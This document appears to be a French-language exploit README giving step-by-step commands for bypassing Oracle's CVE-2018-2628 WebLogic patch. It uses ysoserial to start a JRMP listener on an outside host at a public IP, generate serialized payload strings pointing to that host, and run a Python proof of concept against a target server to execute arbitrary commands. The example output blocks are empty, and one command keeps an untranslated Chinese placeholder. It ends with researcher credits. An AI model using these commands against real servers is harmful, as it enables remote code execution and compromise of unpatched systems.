
Quelques codes pour contourner le patch CVE-2018-2628 d'Oracle WebLogic
Format de la commande :
java -cp ysoserial-<version>-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener <listen port> <gadget class> <command>
Par exemple :
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 22801 Jdk7u21 "calc.exe"
Lorsque vous voyez la sortie *Opening JRMP listener on 22801, notez l'adresse IP de l'hôte où tourne JRMPListener (dans l'exemple, il s'agit d'un hôte Alibaba Cloud ECS avec l'IP publique 47.94.158.125) ainsi que le port spécifié.
Deux méthodes sont actuellement connues (pour générer la Payload Object String, choisissez l'une des deux méthodes ci-dessous) :
Format de commande pour générer la Payload Object String :
java -jar ysoserial-<version>-cve-2018-2628-all.jar JRMPClient2 <JRMPListener IP>:<JRMPListener Port> | xxd -p | tr -d $'\n' && echo
Par exemple :
java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 47.94.158.125:22801 | xxd -p | tr -d $'\n' && echo
Exemple (données de sortie binaires de l'objet Payload généré avec JRMPClient2) :

Format de commande pour générer la Payload Object String :
java -jar ysoserial-<version>-cve-2018-2628-all.jar JRMPClient3 <JRMPListener IP>:<JRMPListener Port> | xxd -p | tr -d $'\n' && echo
Par exemple :
java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient3 47.94.158.125:22801 | xxd -p | tr -d $'\n' && echo
Exemple (données de sortie binaires de l'objet Payload généré avec JRMPClient3) :

Modifiez wls-cve-2018-2628-poc.py, remplacez la valeur de la variable nommée payload_str en haut du script par la chaîne hex générée à l'étape précédente (les deux valeurs de variable payload_str incluses dans ce script peuvent être utilisées directement, correspondant respectivement aux chaînes hex générées par les deux méthodes ci-dessus).
Format de la commande :
python wls-cve-2018-2628-poc.py <目标WebLogic Server实例监听IP> <目标WebLogic Server实例监听端口>
Par exemple :
python wls-cve-2018-2628-poc.py 192.168.64.83 7001
Exemple (avec le Patch Set Update 180417 installé) :


xxlegend@nsfocus (l'un des découvreurs et soumetteurs de la vulnérabilité CVE-2018-2628, a révélé la méthode d'exploitation et des exemples de code associés)
badcode@knownsec (a fourni l'exemple de code encapsulant java.rmi.registry.Registry avec weblogic.jms.common.StreamMessageImpl)
ysoserial project (rassemble de nombreux utilitaires d'exploitation pour la désérialisation Java)